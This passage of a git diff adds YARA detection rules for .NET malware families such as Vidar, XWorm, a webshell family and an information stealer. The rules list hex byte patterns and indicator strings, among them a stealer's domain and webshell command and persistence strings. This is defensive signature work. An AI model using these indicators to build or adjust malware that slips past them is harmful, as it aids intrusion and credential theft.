03 00 02 00 00 " + + strings : + $a_01_0 = {fe 03 13 06 11 06 2c 0b 07 17 62 d2 1d 61 b4 0b 00 2b 07 00 07 17 62 d2 0b } //2 + $a_01_1 = {79 00 73 00 73 00 61 00 6a 00 77 00 6a 00 68 00 75 00 6b 00 67 00 67 00 } //1 yssajwjhukgg + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Vidar/Trojan_BAT_Vidar_ACH_MTB.yar b/Trojan/BAT/Vidar/Trojan_BAT_Vidar_ACH_MTB.yar new file mode 100644 index 0000000000..adfdac3997 --- /dev/null +++ b/Trojan/BAT/Vidar/Trojan_BAT_Vidar_ACH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Vidar_ACH_MTB{ + meta: + description = "Trojan:BAT/Vidar.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 02 11 04 11 00 11 04 91 11 01 11 04 11 01 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Vidar/Trojan_BAT_Vidar_SLDE_MTB.yar b/Trojan/BAT/Vidar/Trojan_BAT_Vidar_SLDE_MTB.yar new file mode 100644 index 0000000000..02e1150afc --- /dev/null +++ b/Trojan/BAT/Vidar/Trojan_BAT_Vidar_SLDE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Vidar_SLDE_MTB{ + meta: + description = "Trojan:BAT/Vidar.SLDE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {18 28 36 04 00 06 fe 0e 7a 02 fe 0c 7a 02 16 12 05 28 0a 00 00 0a 25 26 a2 fe 0c 7a 02 17 12 06 28 0c 00 00 0a 25 26 a2 fe 0c 7a 02 13 07 72 5b 00 00 70 11 07 28 0b 00 00 0a 25 26 26 72 9e 21 04 70 13 08 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Vimditator/Trojan_BAT_Vimditator_AWWA_MTB.yar b/Trojan/BAT/Vimditator/Trojan_BAT_Vimditator_AWWA_MTB.yar new file mode 100644 index 0000000000..c0ffc6ce88 --- /dev/null +++ b/Trojan/BAT/Vimditator/Trojan_BAT_Vimditator_AWWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Vimditator_AWWA_MTB{ + meta: + description = "Trojan:BAT/Vimditator.AWWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {1f 09 0b 05 04 07 5d 9a 28 ?? ?? 00 0a 03 28 ?? 02 00 06 28 ?? ?? 00 0a 0a 2b 00 06 2a } //3 + $a_03_1 = {02 03 66 5f 02 66 03 5f 60 8c ?? 00 00 01 0a 2b 00 06 2a } //2 + $a_03_2 = {03 08 02 03 08 91 08 04 28 ?? ?? 00 06 9c 08 17 d6 0c 08 07 31 ea } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_WebShell_ACH_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_ACH_MTB.yar new file mode 100644 index 0000000000..ef749a207a --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_ACH_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_WebShell_ACH_MTB{ + meta: + description = "Trojan:BAT/WebShell.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_03_0 = {0a 02 06 7d ?? 00 00 0a 06 02 6f ?? 00 00 0a 00 06 72 ?? ?? 00 70 6f ?? 00 00 0a 00 06 18 6f ?? 00 00 0a 00 06 72 ?? ?? 00 70 6f ?? 00 00 0a 00 06 72 ?? ?? 00 70 6f ?? 00 00 0a 00 06 0b 2b 00 07 2a } //2 + $a_03_1 = {0a 02 06 7d ?? ?? 00 0a 06 02 6f ?? 00 00 0a 00 06 72 ?? ?? 00 70 6f ?? 00 00 0a 00 06 18 6f ?? 00 00 0a 00 06 72 ?? ?? 00 70 6f ?? 00 00 0a 00 06 72 ?? ?? 00 70 6f ?? 00 00 0a 00 06 1f 19 6f ?? 00 00 0a 00 06 0b 2b 00 07 2a } //2 + $a_01_2 = {68 00 69 00 64 00 42 00 61 00 6f 00 42 00 69 00 61 00 6f 00 } //1 hidBaoBiao + $a_01_3 = {74 00 78 00 74 00 50 00 61 00 73 00 73 00 57 00 6f 00 72 00 64 00 } //1 txtPassWord + $a_01_4 = {64 00 34 00 35 00 33 00 39 00 33 00 31 00 35 00 35 00 32 00 31 00 65 00 30 00 65 00 37 00 39 00 } //1 d4539315521e0e79 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AHBB_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AHBB_MTB.yar new file mode 100644 index 0000000000..94825a41a9 --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AHBB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_WebShell_AHBB_MTB{ + meta: + description = "Trojan:BAT/WebShell.AHBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {16 fe 01 13 07 11 07 2d 0c 7e ?? 00 00 0a 13 06 38 8e 00 00 00 28 ?? ?? 00 0a 72 ?? ?? 00 70 1e 1f 30 6f ?? ?? 00 0a 16 1e 6f ?? ?? 00 0a 6f ?? ?? 00 0a 0a 28 ?? ?? 00 0a 72 ?? ?? 00 70 1e 1f 30 6f ?? ?? 00 0a 16 1e 6f ?? ?? 00 0a 6f ?? ?? 00 0a 0b 03 28 ?? ?? 00 0a 0c 73 ?? ?? 00 0a 0d 73 ?? ?? 00 0a 13 04 11 04 09 06 07 6f ?? ?? 00 0a 17 73 ?? ?? 00 0a 13 05 11 05 08 16 08 8e 69 6f ?? ?? 00 0a 00 11 05 6f ?? ?? 00 0a 00 28 ?? ?? 00 0a 11 04 6f ?? ?? 00 0a 6f ?? ?? 00 0a 13 06 2b 00 11 06 2a } //5 + $a_03_1 = {16 fe 01 13 06 11 06 2d 0d 00 7e ?? 00 00 0a 13 05 38 c6 00 00 00 03 2d 1c 02 28 ?? ?? 00 0a 72 ?? ?? 00 70 72 ?? ?? 00 70 6f ?? ?? 00 0a 28 ?? ?? 00 0a 2b 0b 28 ?? ?? 00 0a 02 6f ?? ?? 00 0a 00 0a 14 0b 73 ?? ?? 00 0a 0c 00 73 ?? ?? 00 0a 0d 09 03 2d 12 08 7e ?? 00 00 04 7e ?? 00 00 04 6f ?? ?? 00 0a 2b 10 08 7e ?? 00 00 04 7e ?? 00 00 04 6f ?? ?? 00 0a 00 17 73 ?? ?? 00 0a 13 04 11 04 06 16 06 8e 69 6f ?? ?? 00 0a 00 11 04 6f ?? ?? 00 0a 00 09 6f ?? ?? 00 0a 0b 00 de 12 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AQBB_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AQBB_MTB.yar new file mode 100644 index 0000000000..ebd3df20a4 --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AQBB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_WebShell_AQBB_MTB{ + meta: + description = "Trojan:BAT/WebShell.AQBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {0a 07 06 28 ?? ?? 00 0a 6f ?? ?? 00 0a 28 ?? ?? 00 0a 28 ?? ?? 00 0a 72 ?? ?? 00 70 72 ?? ?? 00 70 6f ?? ?? 00 0a 0c 02 6f ?? ?? 00 0a 6f ?? ?? 00 0a 07 6f ?? ?? 00 0a 28 ?? ?? 00 0a 0d 73 ?? ?? 00 0a 28 ?? ?? 00 0a 06 6f ?? ?? 00 0a 28 ?? ?? 00 0a 06 6f ?? ?? 00 0a 6f ?? ?? 00 0a 09 16 09 8e 69 6f ?? ?? 00 0a 0d 02 6f ?? ?? 00 0a 6f ?? ?? 00 0a 72 ?? ?? 00 70 6f ?? ?? 00 0a 14 fe 01 16 fe 01 13 07 11 07 2d 63 00 02 6f ?? ?? 00 0a 6f ?? ?? 00 0a 72 ?? ?? 00 70 d0 ?? 00 00 01 28 ?? ?? 00 0a 72 ?? ?? 00 70 17 8d ?? 00 00 01 13 08 11 08 16 d0 ?? 00 00 1b 28 ?? ?? 00 0a a2 11 08 28 ?? ?? 00 0a 14 17 8d ?? 00 00 01 13 09 11 09 16 09 a2 11 09 } //5 + $a_03_1 = {0a 13 04 02 6f ?? ?? 00 0a 6f ?? ?? 00 0a 72 ?? ?? 00 70 6f ?? ?? 00 0a 74 ?? 00 00 01 72 ?? ?? 00 70 6f ?? ?? 00 0a 13 05 11 05 11 04 6f ?? ?? 00 0a 26 11 05 09 6f ?? ?? 00 0a 26 11 05 6f ?? ?? 00 0a 26 11 04 6f ?? ?? 00 0a 13 06 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AUAB_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AUAB_MTB.yar new file mode 100644 index 0000000000..d46f5591a5 --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_AUAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_WebShell_AUAB_MTB{ + meta: + description = "Trojan:BAT/WebShell.AUAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {01 25 16 72 97 03 00 70 d0 ?? 00 00 01 16 73 ?? 00 00 0a a2 25 17 72 9f 03 00 70 d0 ?? 00 00 01 17 73 ?? 00 00 0a a2 25 18 72 c5 03 00 70 d0 ?? 00 00 01 18 73 ?? 00 00 0a a2 25 19 72 d7 03 00 70 d0 ?? 00 00 01 19 73 ?? 00 00 0a a2 02 } //4 + $a_03_1 = {06 02 72 69 03 00 70 28 ?? 00 00 0a 7e ?? 00 00 04 16 40 ?? 00 00 00 17 8d ?? 00 00 01 0a 06 16 72 69 03 00 70 a2 02 06 28 ?? 00 00 0a 80 ?? 00 00 04 17 80 ?? 00 00 04 02 28 ?? 00 00 0a 20 80 c3 c9 01 28 ?? 00 00 0a 2a } //2 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_WebShell_GVB_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_GVB_MTB.yar new file mode 100644 index 0000000000..a9ab54336b --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_GVB_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_WebShell_GVB_MTB{ + meta: + description = "Trojan:BAT/WebShell.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 00 " + + strings : + $a_01_0 = {28 0f 00 00 06 2c 14 7e 02 00 00 04 72 15 00 00 70 28 2f 00 00 0a 80 02 00 00 04 06 72 1d 00 00 70 7e 02 00 00 04 28 2f 00 00 0a 7d 18 00 00 04 06 fe 06 48 00 00 06 73 30 00 00 0a 28 31 00 00 0a 6f 32 00 00 0a 2a } //5 + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //2 powershell + $a_00_2 = {52 00 75 00 6e 00 41 00 73 00 } //2 RunAs + $a_00_3 = {2f 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 } //1 /restart + $a_00_4 = {2f 00 73 00 75 00 69 00 63 00 69 00 64 00 65 00 } //1 /suicide + $a_00_5 = {2f 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 } //1 /startup + $a_00_6 = {2f 00 64 00 65 00 6c 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 } //1 /delstartup + condition: + ((#a_01_0 & 1)*5+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_WebShell_MR_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_MR_MTB.yar new file mode 100644 index 0000000000..323b7d9138 --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_WebShell_MR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_WebShell_MR_MTB{ + meta: + description = "Trojan:BAT/WebShell.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {08 09 94 0a 00 06 03 fe 01 16 fe 01 13 04 11 04 2d 04 17 0b de 15 00 09 17 58 0d } //5 + $a_01_1 = {0a 06 16 1b 9e 06 17 17 9e 06 18 1a 9e 06 } //10 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*10) >=15 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_Webshell_AWB_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_Webshell_AWB_MTB.yar new file mode 100644 index 0000000000..2406860366 --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_Webshell_AWB_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_BAT_Webshell_AWB_MTB{ + meta: + description = "Trojan:BAT/Webshell.AWB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 00 " + + strings : + $a_03_0 = {13 04 00 02 11 04 6f ?? 00 00 0a 6f ?? 00 00 0a 28 ?? 00 00 06 16 fe 01 13 10 11 10 3a ?? ?? ?? ?? 00 09 17 58 0d 07 ?? ?? ?? 00 70 11 04 6f ?? 00 00 0a 6f } //3 + $a_01_1 = {44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 6e 00 65 00 77 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 Directory delete new success + $a_01_2 = {44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 20 00 52 00 65 00 6e 00 61 00 6d 00 65 00 64 00 20 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 Directory Renamed Success + $a_01_3 = {46 00 69 00 6c 00 65 00 20 00 52 00 65 00 6e 00 61 00 6d 00 65 00 64 00 20 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 File Renamed Success + $a_01_4 = {46 00 69 00 6c 00 65 00 20 00 43 00 6f 00 70 00 79 00 20 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 File Copy Success + $a_01_5 = {44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 Directory created success + $a_01_6 = {46 00 69 00 6c 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 File Delete Success + $a_01_7 = {50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 4b 00 69 00 6c 00 6c 00 20 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 } //1 Process Kill Success + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Webshell/Trojan_BAT_Webshell_GVA_MTB.yar b/Trojan/BAT/Webshell/Trojan_BAT_Webshell_GVA_MTB.yar new file mode 100644 index 0000000000..1660f06e5e --- /dev/null +++ b/Trojan/BAT/Webshell/Trojan_BAT_Webshell_GVA_MTB.yar @@ -0,0 +1,24 @@ + +rule Trojan_BAT_Webshell_GVA_MTB{ + meta: + description = "Trojan:BAT/Webshell.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 0e 00 00 " + + strings : + $a_01_0 = {74 78 74 4e 65 77 50 61 73 73 77 6f 72 64 43 6f 6e 66 69 72 6d 65 64 } //3 txtNewPasswordConfirmed + $a_01_1 = {6c 6e 6b 46 6f 72 67 6f 74 50 61 73 73 77 6f 72 64 } //3 lnkForgotPassword + $a_01_2 = {6c 6e 6b 46 6f 72 67 6f 74 50 61 73 73 77 6f 72 64 5f 43 6c 69 63 6b } //3 lnkForgotPassword_Click + $a_01_3 = {63 68 6b 41 75 74 6f 4c 6f 67 69 6e } //3 chkAutoLogin + $a_00_4 = {7e 00 2f 00 66 00 72 00 6d 00 52 00 65 00 73 00 65 00 74 00 55 00 52 00 4c 00 2e 00 61 00 73 00 70 00 78 00 } //1 ~/frmResetURL.aspx + $a_00_5 = {7e 00 2f 00 4d 00 61 00 73 00 74 00 65 00 72 00 50 00 61 00 67 00 65 00 73 00 2f 00 44 00 75 00 6d 00 6d 00 79 00 2e 00 4d 00 61 00 73 00 74 00 65 00 72 00 } //1 ~/MasterPages/Dummy.Master + $a_00_6 = {7e 00 2f 00 66 00 72 00 6d 00 46 00 6f 00 72 00 67 00 6f 00 74 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 2e 00 61 00 73 00 70 00 78 00 } //1 ~/frmForgotPassword.aspx + $a_00_7 = {40 00 45 00 6d 00 61 00 69 00 6c 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 } //1 @EmailAddress + $a_00_8 = {69 00 6d 00 67 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 } //2 imgCaptcha + $a_00_9 = {43 00 61 00 70 00 74 00 63 00 68 00 61 00 49 00 6d 00 61 00 67 00 65 00 } //2 CaptchaImage + $a_00_10 = {74 00 78 00 74 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 txtCaptcha + $a_00_11 = {7e 00 2f 00 43 00 6f 00 6d 00 70 00 69 00 6c 00 65 00 53 00 69 00 74 00 65 00 2e 00 61 00 73 00 70 00 78 00 } //1 ~/CompileSite.aspx + $a_00_12 = {7e 00 2f 00 4c 00 6f 00 67 00 69 00 6e 00 50 00 72 00 65 00 76 00 69 00 65 00 77 00 2e 00 61 00 73 00 70 00 78 00 } //1 ~/LoginPreview.aspx + $a_00_13 = {67 00 72 00 65 00 6e 00 68 00 79 00 } //1 grenhy + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*3+(#a_01_3 & 1)*3+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*2+(#a_00_9 & 1)*2+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1) >=24 + +} \ No newline at end of file diff --git a/Trojan/BAT/XFilesRebornStealer/Trojan_BAT_XFilesRebornStealer_AXR_MTB.yar b/Trojan/BAT/XFilesRebornStealer/Trojan_BAT_XFilesRebornStealer_AXR_MTB.yar new file mode 100644 index 0000000000..1bb3ccef61 --- /dev/null +++ b/Trojan/BAT/XFilesRebornStealer/Trojan_BAT_XFilesRebornStealer_AXR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_XFilesRebornStealer_AXR_MTB{ + meta: + description = "Trojan:BAT/XFilesRebornStealer.AXR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {16 13 09 2b 3e 11 08 11 09 9a 13 0a 00 11 0a 6f ?? 00 00 0a 72 ?? 05 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 2d 03 17 2b 01 16 13 0b 11 0a 6f } //2 + $a_01_1 = {78 00 66 00 69 00 6c 00 65 00 73 00 72 00 65 00 62 00 6f 00 72 00 6e 00 2e 00 72 00 75 00 } //3 xfilesreborn.ru + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AB_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AB_MTB.yar new file mode 100644 index 0000000000..3c9c7d365a --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AB_MTB{ + meta: + description = "Trojan:BAT/XWorm.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 80 06 00 00 04 2b 11 7e 07 00 00 04 7e 06 00 00 04 16 91 6f 5f 00 00 0a 38 ab 00 00 00 7e 07 00 00 04 7e 06 00 00 04 16 06 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AC_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AC_MTB.yar new file mode 100644 index 0000000000..21fa63bb4e --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AC_MTB{ + meta: + description = "Trojan:BAT/XWorm.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 13 04 08 0e 04 0e 04 8e 69 12 05 11 07 11 07 8e 69 11 04 11 04 8e 69 12 08 16 28 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ADBB_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ADBB_MTB.yar new file mode 100644 index 0000000000..a353a1e3ff --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ADBB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_XWorm_ADBB_MTB{ + meta: + description = "Trojan:BAT/XWorm.ADBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {0a 0a 06 17 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 06 03 04 6f ?? 00 00 0a 0b 07 02 16 02 8e 69 6f ?? 00 00 0a 0c de 0a } //5 + $a_03_1 = {13 0b 11 0b 16 20 c2 00 00 00 9c 11 0b 17 1f 14 9c 11 0b 2b 13 17 8d ?? 00 00 01 13 0c 11 0c 16 20 c3 00 00 00 9c 11 0c } //2 + $a_03_2 = {72 87 00 00 70 28 ?? 00 00 0a 72 e1 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 06 28 ?? 00 00 06 13 08 16 8d ?? 00 00 01 13 09 02 8e 69 16 30 08 16 8d ?? 00 00 01 2b 18 02 16 9a 17 8d ?? 00 00 01 13 0f 11 0f 16 1f 20 9d 11 0f 6f ?? 00 00 0a 13 09 de 03 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ADYA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ADYA_MTB.yar new file mode 100644 index 0000000000..179bea5c4b --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ADYA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_ADYA_MTB{ + meta: + description = "Trojan:BAT/XWorm.ADYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 25 26 0b 07 28 ?? 01 00 06 25 26 04 28 ?? 01 00 06 25 26 28 ?? 00 00 06 25 26 0c 28 ?? 01 00 06 0d 09 08 28 ?? 01 00 06 00 09 20 d4 00 00 00 28 ?? 00 00 06 28 ?? 00 00 06 00 09 28 ?? 00 00 06 13 04 11 04 05 20 d8 00 00 00 28 ?? 00 00 06 05 8e 69 28 ?? 01 00 06 25 26 13 05 09 28 ?? 01 00 06 00 11 05 0a 2b 00 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AD_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AD_MTB.yar new file mode 100644 index 0000000000..698528af4b --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AD_MTB{ + meta: + description = "Trojan:BAT/XWorm.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {59 91 61 06 09 20 0f 02 00 00 58 20 0e 02 00 00 59 18 59 18 58 06 8e 69 5d 1f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AE_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AE_MTB.yar new file mode 100644 index 0000000000..d7a15b34c0 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AE_MTB{ + meta: + description = "Trojan:BAT/XWorm.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 13 05 1f 0f 13 0a 1f 17 13 0d 1f 4e 13 13 20 15 01 00 00 13 16 20 1c 01 00 00 13 19 38 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AFQA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AFQA_MTB.yar new file mode 100644 index 0000000000..8356dbf77b --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AFQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_XWorm_AFQA_MTB{ + meta: + description = "Trojan:BAT/XWorm.AFQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {0a 0a 06 03 28 ?? 00 00 06 6f ?? 00 00 0a 06 04 28 ?? 00 00 06 6f ?? 00 00 0a 06 17 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 06 06 6f ?? 00 00 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0b 02 73 ?? 00 00 0a 0c 08 07 16 73 ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 09 11 04 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 de 47 } //3 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AF_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AF_MTB.yar new file mode 100644 index 0000000000..5bc58daefe --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AF_MTB{ + meta: + description = "Trojan:BAT/XWorm.AF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {06 7e 01 01 00 04 20 42 01 00 00 7e 01 01 00 04 20 42 01 00 00 91 7e 01 01 00 04 20 8c 01 00 00 91 61 20 ff 00 00 00 5f 9c 58 5a 0c 02 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AGAB_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AGAB_MTB.yar new file mode 100644 index 0000000000..057e6b5f76 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AGAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AGAB_MTB{ + meta: + description = "Trojan:BAT/XWorm.AGAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {ff ff ff 11 08 74 ?? 00 00 1b 11 09 11 07 11 0a 25 17 58 13 0a 91 08 61 d2 9c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git 